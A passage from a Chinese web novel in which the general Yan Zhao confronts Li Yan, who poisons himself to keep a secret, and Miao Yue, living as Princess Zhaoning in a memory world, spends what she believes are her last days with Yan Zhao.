动手的黑甲骑兵面无表情地抽回长刀,亲卫的尸体软软倒地,温热的鲜血溅了李晏半身。 不等众人从这突如其来的杀戮中反应过来,那骑兵手中滴血的长刀已然横移,稳稳地架在了周隐的脖子上。 整个过程快得只在呼吸之间。 李晏面上血色尽褪,周隐更是浑身僵硬。 杜言的声音再次响起:“现在,李大人可愿意再好好想想了?” 周隐被刀架着,面色惨白,却仍梗着脖子,对着燕钊嘶声道:“燕钊!你竟敢……” 李晏抬手,止住了周隐的话。 他深吸一口气,整个人平静下来,往前踏出一步,直视燕钊:“我明白将军的意思了,我愿意说出实情。不过此事说来话长,还请将军莫要再为难我的手下。” 杜言闻言,侧头看向燕钊。 燕钊轻轻抬了一下手指。 周隐脖子上的染血长刀立刻撤开。 黑甲骑兵们沉默地勒紧缰绳,控制着战马,向后退出几步,让出了一小片空间。虽然合围之势尚未解除,但那令人窒息的杀意暂时收敛了一些。 周隐吃惊地看向李晏。 李晏安抚地对他点了点头,示意他不要担心。 李晏的思绪前所未有地清晰起来。 之前他还疑惑,以燕钊的铁血手腕和如今地位,想撬开一个女子的嘴,能用的法子太多了,何必如此大费周章地迂回试探。 他现在全明白了。 那不是迂回,是舍不得。 燕钊舍不得将那些残忍有效的手段,用在苗悦身上。他宁可自己费心思去猜、去试、去等,也下不去那个手。 可这些法子,总得有个去处,总得有人来帮他解答困扰多年的疑惑。 于是,自己就撞上来了。 或许燕钊一开始只是隐约怀疑自己,并不能完全确定。 可秦娘子的突然失踪,将这份怀疑极大地坐实了。 李晏想,他若咬牙硬撑下去,燕钊其实拿不出真凭实据。 但,似乎没有必要了。 自己已决定赴死,回到现实去唤醒苗悦。 或许,他还能利用这一死,为苗悦做最后一件事。 想通了这一点,他心中一片平静。 他抬起眼,看向燕钊,声音不大,足够清晰:“燕将军,此事关系重大,你也不希望有第三人知晓吧。不如,你我二人,到马车中细谈?” 他说完,率先一步钻进了那辆被毁坏的马车。 燕钊看着他的背影,眼神微眯,沉吟片刻,翻身下马,将缰绳扔给亲兵,迈步走向马车。 但他并未进去,只是停在了车门前,高大的身影挡住了大半光线。 李晏安坐在那张棉絮外露的椅子上,从容地拈起一块糕点,送入口中。 他吃东西的动作很慢,仿佛在品尝什么珍馐美味,小口地送入唇间,慢慢地咀嚼,再缓缓咽下。 整个过程中,他甚至没有抬眼看燕钊一下。 燕钊也不催促,站在车门外,沉默地看着他。 直到最后一点糕点碎屑消失在唇边,李晏才停下动作。 他拍了拍手,掸掉指尖并不存在的食物残渣,又理了理自己染血的袖口,终于抬头看向燕钊。 “燕将军,不管你查到了多少,或是猜到了多少,我希望,这件事能在我这里停下。” 他顿了顿,语气变得更加郑重:“因为此事背后的牵扯,其影响之巨,后果之重,绝非我李晏或昭宁所能承担的。如果你不想昭宁做出和我一样的选择,就不要再逼问她。” 燕钊眉头皱紧,隐隐感到不对劲。 就在这时,他看见李晏的嘴角渗出一缕暗红的血迹。 燕钊瞬间明白了。 他猛地探进马车,抓起小几上那盘点心,咬牙道:“点心有毒!” 话音未落,李晏身体前倾,“噗”地一声,一大口黑血喷溅在燕钊的衣襟上。 燕钊一手探出,薅住李晏的衣领子,将他提近,咆哮着逼问:“幕后之人到底是谁?!” 李晏露出一抹笑,配着他吐血的唇角,显出诡异之色。 “我的死……便是……最后的警告……也是……我为昭宁争到的……最后安宁……你再逼她……她……她也只能……走我这条路……” 更多的黑血从他口中涌出,他的眼角、耳朵也开始渗出血线,回天乏术了。 李晏竟然自尽了?! 他是圣上的堂兄,是襄王的嫡子,是这大豫朝最顶尖的宗室贵胄。 究竟是什么样恐怖的力量,能逼得他这样的人,宁可自尽,也不敢透露半分真相? 燕钊难以置信地瞪着李晏,震惊,迷茫。 他缓缓松开手,心底升起一股久违的寒意。 李晏的身体跌回座椅上,又滑落在了马车的地板上。 燕钊失魂落魄地退后一步,踉跄着出了马车。 周隐早已心急如焚,不顾一切地冲了上来,看到车内惨状,发出凄厉的悲呼:“公子!公子——!” 燕钊对周围的混乱充耳不闻,他眼神空洞,直直向外走去。 杜言急急迎上来,问:“将军,他说了什么?” 燕钊脚步一顿,声音喑哑:“背后之人的势力……比我们想象的……大得多……” 第66章 李晏的尸体留在了马车里, 由两名黑甲骑兵驱赶着,随着队伍返回衡州城。 车轮碾过碎石路,发出吱吱呀呀的单调声响, 格外刺耳。 燕钊策马走在最前,嘴唇紧抿, 一言不发。 杜言跟在他身侧, 同样沉默着。 今晨, 他们发现秦娘子连同其所有随身之物消失无踪, 第一个怀疑的, 便是刚刚离城的李晏。 但终究只是怀疑, 并无实证。半路拦截, 是情急之下的权宜之计,想着即便是误会了,以燕家军如今的威势, 至多赔个不是, 对方也只能忍了。 谁曾想, 李晏竟服毒自尽! 死的是李晏,是襄王嫡子, 是代表朝廷的送亲使。此事无论如何,都得给长安一个交代。 杜言心中已掠过几种说法, 试图找出对己方最有利的一种。 其实以长安眼下的情形,即便李晏死在衡州城外,只要燕钊不主动挑衅朝廷,也不会掀起大战。 朝廷根本没有兵力再对付一个军阀,他们甚至还指望燕钊出兵平叛。 杜言隐约有了计较。 他看向燕钊,斟酌着开口:“将军,接下来你作何打算?李晏毕竟是皇亲国戚, 咱们得想个说法。” 燕钊的目光投向远方晦暗的暮色,声音低沉却清晰:“我不信这天下,还有谁的势力能大过朝廷。” 杜言微怔。 刚刚那短暂的颓然已褪去,燕钊重又拿回了那副山岳难撼的冷硬姿态,甚至比以往更加坚定。 他继续道:“朝廷我尚且不惧,又为何要怕他口中那‘不敢言说’的势力?无非是掌握了些装神弄鬼操控魂魄的本事罢了。李晏如此忌惮秦娘子,恰恰说明,我们这个方向是对的。” 杜言皱眉。 燕钊下令:“派人再去苗疆,寻一位巫医来。” 杜言沉默片刻,道:“将军此举,是舍近求远。府中明明有一位现成的人选。我们既已知晓她可能采取极端手段,只要提前防范即可。” 燕钊转头盯住杜言,语带警告:“杜先生,这些年你的计策,我大多采纳。但这回,你绝不可背着我,擅自对她做任何事。” 杜言早料到他会是这般反应,并无意外,神色越发认真,有种公事公办的肃然。 他拱手道:“还请将军给属下一个明确指示。在您心中,究竟如何看待这位‘昭宁公主’?属下也好知道,日后究竟该如何待她。” 燕钊顿了顿,说:“她只是昭宁公主,是我的夫人,没有其他了。” 杜言默然,不解地开口:“属下实在困惑。您连他高矮胖瘦是男是女都不知道,为何如此执着?” 燕钊没有立刻回答,待进了城门,才缓缓开口。 “我能有今日成就,凭得是手中弩机。杜先生可知,这弩机最早是如何做出来的?” 杜言道:“首先自然是将军天纵奇才,其次便是在临峣城中得大当家支持,所以……” 燕钊摇了摇头,打断他:“不,是在陈家村。” 他目光悠远,回忆往事。 “我小时候,眼里只有两件事,填饱肚子和不被人打死。我性子独,不讨人喜欢,从未得到过任何肯定,也不觉得这世上有何事值得我费心费力。只有她,会把我做的那些破烂玩意儿当成宝,会真心实意地夸我聪明。这些年我听过不少奉承,都不及当年唯一的信任有分量。” “她送给我一把手钻,很贵,也很趁手。我用它做出了第一个像样的东西,是一个袖扣。当时只觉得做得顺手,如今回头看,弩机里的核心机关,跟那袖扣的关窍,一脉相承。在临峣城,也是她支持鼓励我研制连弩,我才第一次有了人生目标。” “她接近我确实别有用心,但她也是第一个真心认可我鼓励我的人。她看我的眼神,是干净的,带着笑的。每次她出现在我身边的时候,日子总会不知不觉变得有盼头起来,没那么难熬。” 说到这里,燕钊唇角上扬,柔软的笑意一闪而过,让杜言看得发怔。 燕钊转过头,看向杜言:“杜先生,我确实做不到像对待李晏那样待她。” 杜言叹道:“你都这样说了,我也只能照办了。” 两人回到将军府时,已快到午膳时间。 杜言押着载有李晏尸身的马车去往后院,头疼该如何向朝廷交差。 燕钊则径直来到苗悦的院子。 刚踏进院门,就听见苗悦问柳娘:“你去问问,将军今天还过来吗?” 只要军务不忙,燕钊都会过来陪苗悦用饭。时间一长,两人习惯了这种陪伴,无需特意嘱咐,也会下意识等着对方的时间。 燕钊脚步微顿,露出笑意,方才的沉郁因为这寻常的牵挂淡了几分。 他掀帘走进屋。 苗悦见他回来,眼睛一亮,迎了上去。 燕钊没有多言,视线扫过柳娘,命令道:“都出去。” 柳娘几人躬身退下。 待屋内只剩二人时,苗悦小心地问:“怎么了?” 燕钊道:“李晏死了。” 苗悦大惊,但很快反应过来,李晏是按他们约定好的计划进行的。 所以,自己是不是也要回去了? “什么时候的事?”她问。 “一个时辰前,在出城的路上。”燕钊答道,同时握住了她有些冰凉的手。 苗悦慢慢在椅子上坐下,心中默算着时间。 李晏在现实中醒转后,会有一段昏沉不适的时期,恢复后再来唤醒自己。 按照离魂香的燃烧速度推算,她在这记忆世界里,或许只剩下一两日的时光。 可能更短。 燕钊不会记得这里发生的一切。苗悦会记得。 她希望为这段长达三年的虚幻旅程,画下一个圆满的句号。 这三年里,虽有艰难,但更多的,是温暖与快乐。 她拥有过深刻纯粹的亲情,也体会过真诚坦荡的友情。 若能在离去前再体验一下“爱情”,那么,这场漫长的“梦”,可称得上别无遗憾了。 虽然时间不多了,但短短的爱情,也是爱情啊。 尤其有这样一个长得俊,能力强,又对自己好的现成男人在身边,这怎么不算工作福利呢。 苗悦偷偷看了眼燕钊。 她的沉默与冷静,落在燕钊眼中,却成了另一种意味。 按常理,听到李晏的死讯,她绝不该如此平静,甚至显得淡漠。 她的反应只能说明一件事,她早就知道会有这一天。 燕钊心中生出难 以言说的滋味,甚至有一丝丝愧疚。 “李晏的死,责任在我。”他开口道,“是我非逼他说出真相。” 苗悦看向他。 燕钊握紧了她的手,望进她的眼睛,声音异常认真:“我现在只问你一个问题,你一定要诚实地告诉我。” 苗悦的心提了起来,脑中闪过数种他可能提出的问题,或是严厉的质问…… 燕钊开口:“你现在这样待在我身边,这样与我说话,会威胁到你的安全吗?” 苗悦呆呆地看着他,完全没料到他要问的是这样的问题。 她摇了摇头:“不会,我在这里很安全。” 燕钊紧绷的身体明显松弛下来,他轻轻地吁出一口气,自责道:“是我太轻敌,没料到你们身后的势力如此惊人,竟能逼得李晏走到自我了断这一步。我险些也将你逼入那种境地,对不起……” 苗悦打断他,认真道:“不要说对不起,你永远不要对我说这三个字。” 燕钊静了一瞬,点了下头,缓缓道:“从今以后,我不会再试探你,也不会要求你告诉我真相。但是,我也不会停止调查的脚步。不是为了掌控你,也不是为了满足我的好奇心。我身边潜藏着这样一个神秘势力,我无法安心,势必要将他揪出来。同时,也能让你获得真正的自由,不必小心翼翼地困在陌生躯壳里,背负着秘密。” 苗悦怔怔地看着燕钊,没想到,李晏的死还有这种效果。 燕钊眸色沉沉,握着她手的力道很稳。 “我想让你,只做你自己。” 苗悦抿起唇,眼眶发热,把手从他手里抽了出来。 燕钊的目光动了一下,但没阻止。 苗悦抽回手,反过来覆在了他的手背上,动作很轻,但很确定。 她笑道:“其实我一直都在做我自己。就像在临峣城一样,现在的我每天都很快活。” 燕钊僵住,半晌没有动静,但很快,他眼中有了光,那光亮亮的。 他嘴角弯起:“你……你真是……” 屋外传来脚步声。 柳娘传禀:“将军,杜先生在外求见,说是周隐那边出了些状况,请您亲自过去定夺。” 燕钊眼中光亮未减,但隐隐有些不耐。 他站起身,笑道:“你用膳吧,不必等我了,今天估计要到很晚。” 苗悦点了点头,看来李晏的死,给他添了不少麻烦。 苗悦目送燕钊离开,视线穿过窗户,一直瞅着,直到他身影完全不见。 柳娘劝道:“夫人,吃饭吧,菜都要凉了。” 苗悦静静地坐着,望着院门方向,没有动筷的意思。 柳娘上前一步,盛了小半碗温热的粳米粥,放到苗悦面前,声音放得更柔了些:“夫人,将军今日有事,明天肯定过来了。” 苗悦缓缓吐出一句气,呓语般说了一句话。 “我不怕别人对我不好,我就怕别人对我好……” 柳娘隐约听见了,却没听懂。 夫人这话是什么意思?怪人对自己好?这世上哪有人怕这个的?真是想不明白。 她摇摇头,只当是夫人因将军离开心中不快说的糊涂话,也不再多想,轻手轻脚地收拾着。 第67章 窗户纸捅破了, 事情说开了,虽然只说开了一半,但……记忆世界依然稳固。 苗悦的心情前所未有地轻松起来。 她不必再刻意伪装成昭宁公主, 不必时刻提防燕钊的试探。 这一回,她的任务真真正正地完成了。 在李晏叫醒她之前, 她可以安心享受与燕钊共处的最后时光。 苗悦难得起了个大早, 跑到演武场看燕钊晨练。 场地上, 二十来个小伙子们挥汗如雨, 气势十足。 不知谁先看见了苗悦, 低呼一声“夫人来了!”, 众人动作一滞, 齐刷刷地望过来,随即响起一阵促狭的哄笑声。 燕钊也收了势,笑着推了起哄的人一把。 苗悦大大方方地朝他们挥手。 她这般坦然, 反倒让那群起哄的小伙子不好意思了, 纷纷收起玩笑神色, 重新操练起来,动作比刚才更卖力了几分。 柳娘引着苗悦到场边一处有树荫的石凳坐下, 躲避初夏的日头。 不一会儿,厨房派了两个小厮, 抬来两缸冰好的梅子饮。 这是苗悦头天吩咐厨房做的,在井里镇了一夜。 待歇息时,苗悦招呼那些士兵过来喝冰饮。 士兵们平素与燕钊玩闹惯了,也不拘束,道了谢便围过来,用木碗舀着梅汤痛快畅饮。 燕钊站在一旁,看着苗悦笑意盈盈地招呼众人, 又看看那群围着陶罐的小子们,只觉得这场景说不出的熟悉。 他感到不妙。 下一刻,就听苗悦说:“这么热的天,衣裳都湿透了,黏在身上多难受,脱了吧。” 柳娘心惊,忙低声提醒:“夫人,这可使不得。” 苗悦后知后觉,想起自己是“昭宁公主”,不是“燕承嗣”。 但有什么关系,反正她都要回现实了。 等回到现实,哪有这场面让她欣赏。 她安抚地拍拍柳娘的手:“没关系,不要因为我的身份让大家拘束了。” 柳娘脸憋得通红,她也不过是三十余岁的妇人,不是那五六十的嬷嬷,对着满场的精壮,哪有不脸红的。 燕钊走过来,说:“今天就到这,都干活去。” 士兵们放下碗,朝着燕钊和苗悦行了个礼,三三两两退出了演武场。 燕钊看了柳娘一眼。柳娘自觉请退离开。 等场上就剩他们两人,燕钊才开口。 “你现在装都不装一下了?” 苗悦笑着递给他一碗梅汤:“反正又瞒不过你。” 燕钊也笑了,他接过碗,一饮而尽。 苗悦看着他仰头喝水的样子,不知怎的,忽然想起了燕无咎。 她问:“无咎到底死没死?” 燕钊顿了一下,道:“你不是看到了吗?他没死。” 苗悦追问:“那燕家军怎么会到你手里?” 燕钊道:“他说想纵情山水,让我替他管着。” 苗悦明白过来:“所以,你到现在还只是‘将军’,没有称‘帅’,是想把这个位置给他留着?” 燕钊沉默片刻,道:“如果他还想当的话,这个位置自然是他的。” 苗悦没再继续问下去。 这里是记忆世界,燕无咎的生死或许和现实不同,实没必要深究。 苗悦改变话题,问:“你今天有什么安排?” 燕钊说:“有些公务,然后……你想做什么?” 苗悦说:“我闲的无聊。” 燕钊想了想,问:“那你来书房陪我?” 苗悦笑眯眯的:“好呀,我还能帮你参谋参谋弩机。” 燕钊失笑摇头,扶她起身。 出了演武场,往书房去的路上,燕钊吩咐亲兵在书房临窗处添一张躺椅。 等苗悦踏进书房时,那张铺着软垫的躺椅已经安置妥当,旁边还摆了一张小几,几上放着一壶温茶并两碟点心。 苗悦背着手,说:“你忙你的,我随便找本书看,不吵你。” 书架很大,多是兵书战策、舆图方志,也有一些讲机关器械、农桑水利的实用杂书。 苗悦走到书架前略翻了翻,对那些厚重的典籍兴致缺缺,最后在书架下层寻到本落了薄灰的民间话本子,似乎是讲神怪传说的。 她掸了掸灰,拿着书,心满意足地窝进了躺椅里,舒舒服服地翻看起来。 燕钊见她安顿好,也不再说什么,走到书案后坐下。 很快,房中只有书页翻动的沙沙声,和偶尔提笔书写的细微声响,安静平和。 阳光缓慢移动,过了不知多久,苗悦忽然发出一声冷哼,忿忿地。 她立刻意识到自己看得太入神,忙从书后抬眼,果然撞上燕钊看过来的目光。 燕钊问:“看到什么了?” “也没什么。”苗悦语气不爽,显 然对书中情节耿耿于怀,“就是觉得这狐妖太笨了。忍了那么久,装了那么久,明明马上就要功成身退,偏偏最后一刻心软,前功尽弃,笨得可以。” 燕钊弯弯唇,表示回应,又低头去办公。 苗悦眼珠一转,起了戏弄的心思,神神秘秘道:“你故意让我看到抽屉里的册子吧?” 燕钊但笑不语,默认了。 苗悦趴在躺椅扶手上,眼里闪着促狭笑意。 “那你猜了那么多可能,就没想过,也许我是只道行高深的狐妖,想来就来,想走就走,所以才会一次又一次出现在你身边。” 燕钊放下笔,貌似认真地思索了片刻,说:“不像。” 苗悦好奇心起,追问:“我不像吗?狐妖都是又聪明又漂亮啊。” 燕钊眼中带笑:“都说狐妖爱美,应该不会选陈阿大那样的身体。” 苗悦顿时深以为然,点头道:“有道理。” “不过,”燕钊话锋一转,“换个角度想,或许你就喜欢那样的也未可知。毕竟,你抠起疣子来动作自然得很。” 苗悦瞪眼,抓起背后软枕朝他扔了过去:“你好恶心啊!” 燕钊抬手,接住飞来的“凶器”,低低笑出声来。 苗悦记忆里,燕钊的笑从来都带着一层保护套,克制,压抑,无声。 她头一次听到他发自内心的笑声。 已经揭开的窗户纸,以及马上要结束的穿越之旅,都给了苗悦放肆的底气。 她歪头,好奇又期待:“你说实话,除了我之外,还有没有人,让你这样笑过?” 燕钊一滞,垂眼看向公文,道:“不闹了,我还有事。” 苗悦“哼”了一声,抿着笑,靠回躺椅。 她一定是特殊的,否则还有谁值得燕钊专门拿个本子,一笔一划地记下那些细枝末节,反复琢磨呢。 她继续翻看那本志怪小说。 太阳升起,暖洋洋的光照过来,书上的字渐渐模糊起来。 她忍不住打了个小小的呵欠,眼睫低垂,挣扎了几下,终究抵不过困意,将书往身旁小几上一扣,蜷在躺椅里,闭眼小憩起来。 不多时,她的呼吸变得均匀绵长,竟是真睡着了。 燕钊处理完手头军报,刚搁下笔,便听到了平稳的呼吸声。 他抬头望去,只见苗悦侧卧在躺椅中,睡得正沉。 他起身,放轻脚步走过去,从榻上取过一张薄毯,轻轻盖在她身上。 正欲离开,目光却被那本翻扣着的书吸引。 想起她方才的不满,燕钊生出几分好奇。 他拿起那本书,翻到狐妖那页,默默读了起来。 这是一个关于冷面将军和狐妖的故事。 冷面将军于风雪中救回一孤女。孤女温柔解语,陪伴将军度过了最铁血也最孤寂的岁月,两人情愫暗生,结为夫妻。 无人知晓,孤女实乃山中修炼的狐妖。她接近将军,是为渡那最难的“情劫”。 她需对所爱之人见死不救,任其命陨,方能斩断情丝,道行圆满。 劫数之日终至。将军遭敌伏击,身陷绝境,命悬一线。 狐妖隐身云端,只需冷眼旁观,片刻之后,她便是逍遥天地间的仙狐。 可看着将军浴血的身影,往昔温情点滴翻涌。 狐妖终是抵不过心中不舍,逆天而行,燃尽千年道行,化作通天妖力,为将军挡下那致命一击。 狐妖修为全失,再也维持不住人形,自云端跌落,化作一只白狐。 将军溃退强敌,举剑四顾,发现树后有只毛色漂亮的狐狸。 他心道:“这畜生皮毛倒特别。拾回去,找个好匠人剥了,给夫人做条围脖暖颈子。” 于是他弯弓,一箭贯穿了白狐的心口。 小狐狸呜咽一声,眼角落下一滴血泪,气绝而亡。 燕钊皱眉,心道这是什么破故事。 他又将书来回翻了翻,没找到著者名号,只在封底看到一个模糊的坊间印记。 书房里何时混进了这种东西? 看来得找时间,把书架子好好清理一遍了—— 作者有话说:明天周三,休息一次 第68章 苗悦睡了一个很沉的觉, 醒来时,日头打西,午膳时间早已过了。 燕钊仍坐在书案后, 手边堆着处理完的公文。 “我睡了这么久?”苗悦坐起身,揉了揉眼睛, 有些不好意思, “你用过饭了吗?” “没有。”燕钊放下手中的东西, 看向她, “饿了吗?想吃什么?” 苗悦想了想, 说:“我来衡州这些日子, 还没尝过街市上的小吃呢。” 燕钊看眼窗外天色, 有点犹豫:“现在出门,回来怕是要晚。” 苗悦却想着,自己随时可能回到现实世界, 当然要抓紧时间熟悉一下衡州城了。 她坚持:“我们就在附近转转, 吃点简单的。” 燕钊同意了。 苗悦欢欢喜喜地回到自己院子, 换了一身利落素净的衣服。 两人没带太多人,也没备马车, 只让两名亲兵远远跟着,从将军府侧门悄悄溜了出去。 院墙后是一条清净的巷子, 两边多是高墙,行人不多。 走了约莫一盏茶的功夫,拐过一个街口,便热闹起来。 这里就是燕钊推荐的城西坊市,虽不如城南花市那般喧嚣鼎沸,却也商铺林立,行人往来。 其中一个门脸朴素的两层小楼阁吸引了苗悦。 黑底金字的招牌, 写着“四方会”三个大字。 她暗叹一声。 自己当初费了不少周折,才将几万两银子存进天下通兑的四方会,可惜,没什么机会花用了。 不过当昭宁公主这些日子,吃穿用度无一不精,倒也不算亏。 过了四方会往前不远,是一条内城河。 沿河一侧,修了石板路,路边有各种酒楼食肆,方便一边吃东西,一边看河景,价位齐全,丰俭由人。 燕钊之前推荐的适合安家的城西园林附近就是这一带。 苗悦还挺满意的。 他们走得慢,到河边时,太阳西沉。 苗悦拉着燕钊走到一个卖馄饨的摊子前。 摊主是位头发花白的老丈,锅里的骨头汤咕嘟咕嘟滚着,香气扑鼻。 “两碗馄饨。”苗悦在小桌边坐下。 不多时,两碗热腾腾的馄饨端了上来,清汤里浮着雪白的馄饨和几点翠绿的葱花。 苗悦吹了吹热气,尝了一口,眯起眼,脸上露出满足的神色。 燕钊看着面前两碗馄饨,氤氲的热气模糊了眼前的景色,却将记忆深处某个同样热气腾腾的画面烘得清晰起来。 那是他十岁那年的长安西市,也是这样一个寻常的傍晚。 那一天,他第一次吃到羊肉面,第一次在成衣铺里买了新衣,第一次踏进暖烘烘的汤池,第一次住客栈盖芦花被。 第一次有人牵着他的手,穿过熙熙攘攘的人流,替他挡开拥挤和冲撞。 也是在那一天,他得到了人生中第一份礼物,一把银纹手钻。 回陈家村的驴车上,弥漫着松木家具的香气,天边的云霞如火般铺开,天地间都披上了温柔的暖色。 那是他灰暗童年里最明亮的画面,始终在他记忆里发着光,无可替代。 天色渐暗,河灯亮起。 柳树下,抱着月琴的歌女开了腔,嗓音清亮,唱着不知名的小调。 隔壁酒楼二层,一些客人被歌声吸引,探出身子凭栏往下瞧,其中便有祝成锦。 他摇着一柄泥金折扇,含笑看着那歌女,目光随意一转,瞥见了不远处馄饨摊边坐着的两人。 祝成锦摇扇的动作顿住。 燕钊公务之外几乎从无闲情,此刻竟会陪着新夫人在市井小摊上用这些粗陋吃食,神情间不见丝毫勉强不耐。 祝成锦的目光在那位昭宁公主脸上停留一瞬,慢慢合上折扇,在掌心敲了敲。 看来这位公主,在燕钊 心中的分量,比他们以为的要重得多。 燕钊感觉到有视线落在自己身上,他回头,向隔壁酒楼的二楼看去。 祝成锦见他看过来,隔空朝他遥遥一敬。 燕钊也点了下头,便收回视线。 苗悦顺着他的目光好奇地望过去,只见一个穿着锦缎常服的中年人正含笑看着自己。 视线相交,那中年人朝她颔首致意。 苗悦礼貌地点头回应。 她低声问:“那人是谁?” 燕钊道:“祝成锦,衡州城最大的盐商,家中在本地经营已有四代,根基很深。” 苗悦“哦”了一声。 李晏对祝成锦也有过调查。 在燕钊到来之前,祝成锦本是接任前刺史执掌衡州的最热门人选,经营多年,势力盘根错节。 燕钊的横空出世,让他多年的苦心经营与野心尽数落空。 祝成锦虽恨极了燕钊,明面上却依旧与这位新城主维持着不远不近,偶有合作的关系。 燕钊入主衡州城后,采纳杜言之策,推行了不少打压豪强、清丈田亩、整顿盐铁的政令。 这些政令深深触动了本地旧贵族的利益。燕钊的执行手段又极为强硬铁血,因此树敌颇多,遭遇过多起刺杀。 绝大部分刺杀,背后都有祝成锦在推波助澜,甚至是他一手策划。 但他手段高明,每每假借那些与燕钊有血海深仇之人的手行事,他躲在幕后,提供情报资金与便利,表面上看,每一次都只是“苦主”的复仇。 燕钊起初并未察觉,因他入城时屠戮太重,确实生了不少血海深仇。 直到燕钊在衡州站稳脚跟两年多后,才将祝成锦幕后策划刺杀的桩桩铁证搜罗齐全。 祝成锦及其核心党羽被处以极刑,家产抄没,其余家眷则被流放边陲,永世不得回返。曾经显赫一时的祝家,就此烟消云散。 祝家落到最后那般下场,着实不冤。 祝成锦不仅多次策划刺杀燕钊,更在“昭宁公主”宁死不从、闹出自尽的丑闻后,在城中散播流言蜚语,把燕钊说成攀附天家不成的泥腿子。 衡州百姓一度对燕家军极为排斥,以致燕家军做事束手束脚。 苗悦最看不上这等背后捅刀子,散播谣言的阴损小人。 燕钊的政令,让城里更多的人有饭吃,有地种。不久的将来,会有越来越多的人,甘愿冒着风险,慕名前来投奔。 那些趴在祖产上吸血的蠹虫,凭什么背后笑他? 她又瞥了一眼二楼。 祝成锦身边,还有两三个与他衣着打扮差不多的人,时不时探头朝这边望一眼,交头接耳。 燕钊必定感觉到了,可他只是平静地吃着自己的馄饨,对这些目光浑不在意,或者说,早已习惯了。 可苗悦介意。 她偏要让所有人看看,不是什么公主屈尊下嫁,是她心甘情愿,就喜欢这个泥腿子。 苗悦用勺子从自己碗里舀起一颗馄饨,手腕一抬,送到了燕钊唇边。 燕钊一怔,抬眼看向她,带着明显的疑惑。 苗悦朝他挑眉挤眼,又努了努嘴,催促他快吃。 燕钊明白了七八分,眼底掠过无奈,一低头,就着她的手,将馄饨吃了下去。 苗悦放下勺子,拿出自己的手帕,倾身过去,拭了拭他的唇角。 她的目光温柔专注,动作耐心细致,唇角噙着恰到好处的、甜蜜的笑意,这笑,正对着二楼的方向。 当她指尖隔着绢帕触碰到燕钊嘴角时,燕钊的身体僵了一下,眼神变得幽沉。 苗悦边擦边偷瞄二楼,擦完便笑着说:“我吃饱啦,咱们回去吧。” 她作势要起身,燕钊比她更快一步站起,伸手扶住她手臂。 苗悦就着他的力道站好,顺势抬手,帮他理了理并无不妥的衣领,然后,手就顺着他的手臂滑下,无比熟稔地挽住了他的胳膊。 燕钊垂眸,看着她挽住自己的那只手,又抬眼对上她亮晶晶的眸子,无奈地笑笑,配合着她转身往回走。 留下一对璧影给二楼的看客。 燕钊低声说:“我不在乎他们怎么说我。” 苗悦紧了紧他胳膊:“我知道,可我在乎,就看不上他们这种人。” 燕钊看着她的发顶,弯唇。 两人挽着手往回走。 来时不觉得,回去的路却似乎长了不少,尤其是从河边转向府邸方向,有一段缓缓的上坡。 苗悦的脚步渐渐慢了下来,呼吸也逐渐急促,她不自觉地将身体更多地倚在了燕钊胳膊上。 燕钊立刻察觉到了,步伐跟着放慢。 拐过一个弯,走进一条安静的上坡小巷。 燕钊停下脚步,在她身前蹲下,言简意赅:“上来。” 苗悦愣一下,随即眼底漾开笑意,顺从地趴伏上去,手臂环住他脖颈。 燕钊托着她的腿弯,稳稳站起,顺势往上一掂,调整了一下姿势。 苗悦随着他的动作往上升了升,下巴恰好能搁在他的肩窝里。 “我重不重?” 她故意在他耳边问,气息拂过他耳廓。 燕钊缓了片刻,吐出几个字:“比一杆枪重些。” 苗悦嘿嘿笑起来,环着他脖子的手臂又收拢了些。 第69章 燕钊一路背着苗悦回到将军府, 穿过庭院,径直进了她的院子。 苗悦没说要下来。燕钊也就背着,不曾放下。 柳娘正带着两个小丫鬟, 仔细擦拭新砌的温泉池子。 苗悦眼睛一亮,不等燕钊弯腰, 就从他背上滑下来, 期待地问:“能用了?” 柳娘道:“回夫人, 想着今日没什么事, 先让人里外擦洗一遍, 等哪天要用了, 随时都能用上。” “等什么哪天呀。”苗悦立刻接道, “现在就可以!” 柳娘看向燕钊。 燕钊开口:“刘太医说过,你现在身子虚,还不能泡澡。” 苗悦心里急, 她想的是若今晚睡着后回到现实, 好不容易修的池子一次没用过, 那才叫亏大了。 她拉住燕钊衣袖,晃了晃, 眨着眼,巴巴地瞅着他。 撒娇耍赖的模样, 让柳娘和丫鬟们都不好意思地别开了脸。 燕钊终究是退让了:“明日午后,只能少用一会儿。” 苗悦一听,知道今日无论如何也泡不成了,但能得个准信,总比没盼头强。 她怀着几分忐忑入睡,心里默默祈祷着,可千万要待到明天啊……至少, 泡上一次温泉再走。 次日清晨,意识回笼的瞬间,她立刻察觉自己仍在“昭宁公主”的身体里。 巨大的欣喜让她从床上弹坐起来,扬声叫柳娘,吩咐她立刻准备热水。 柳娘有些为难,劝道:“夫人,这才什么时辰,清晨寒凉,对身体不好。” 苗悦哪里听得进去,只催着她快去。 柳娘见她兴致如此高,也不忍硬驳了她的意,便借着擦洗池壁、准备柴火、慢慢烧水等由头,磨磨蹭蹭地,硬是拖到了已时中,池水才算是真正热起来。 苗悦早已等不及,立刻入池。柳娘在旁边点了一炉安神的淡香,又备好了干燥柔软的布巾和更换的衣物,事事周全。 池水温热舒适,苗悦眯着眼枕着池壁,满足地喟叹一声,若一直这样在记忆世界中过下去,其实也不错。 那炉安神香快要燃尽,柳娘觑着时辰,上前提醒:“夫人,不短了,该起来了。” 苗悦含糊应着又赖了好一会儿,直到柳娘说要去 请将军,这才不情不愿地从池中起身。 温热的池水离开身体,微凉的空气便裹了上来,苗悦激灵灵打了个寒颤。 柳娘忙用大布巾将她裹住,仔细擦干,扶着她往内室走。 苗悦全身绵软无力,踩着地板,像踩在棉花上,深一脚浅一脚。 刚走进内室,还没来得及坐下,就听见小丫鬟的声音隐约传来:“将军,夫人还在沐浴……” 燕钊来查岗了。 柳娘手上动作更快,麻利地帮苗悦套上寝衣,又转身去端早就温着的红枣茶。 苗悦任她摆布,只觉得浑身懒洋洋的,使不上半点力气,连脚趾头都懒得动一下。 “夫人,先喝口热茶。”柳娘将茶杯递过去。 苗悦伸手去接,刚拿到杯子,手臂就是一软,竟捏不住。 “啪”的一声脆响,茶杯脱手摔在地上,瓷片四溅。 “怎么了?”门外传来燕钊的声音。 苗悦觉得不对劲,她额角隐隐抽痛起来,视线也有些模糊,看柳娘忙碌的身影都带上了些许重影。 坏了!这是要回去了吗? 不行,要跟他道个别…… 这念头一起,苗悦下意识站起身。 或许是起得猛了,她眼前阵阵发黑,整个人不受控制地向旁边歪倒。 “夫人!”柳娘惊叫一声,眼疾手快地扶住了她。 房门被人猛地推开,燕钊闯了进来,一眼就看到苍白脱力的苗悦。 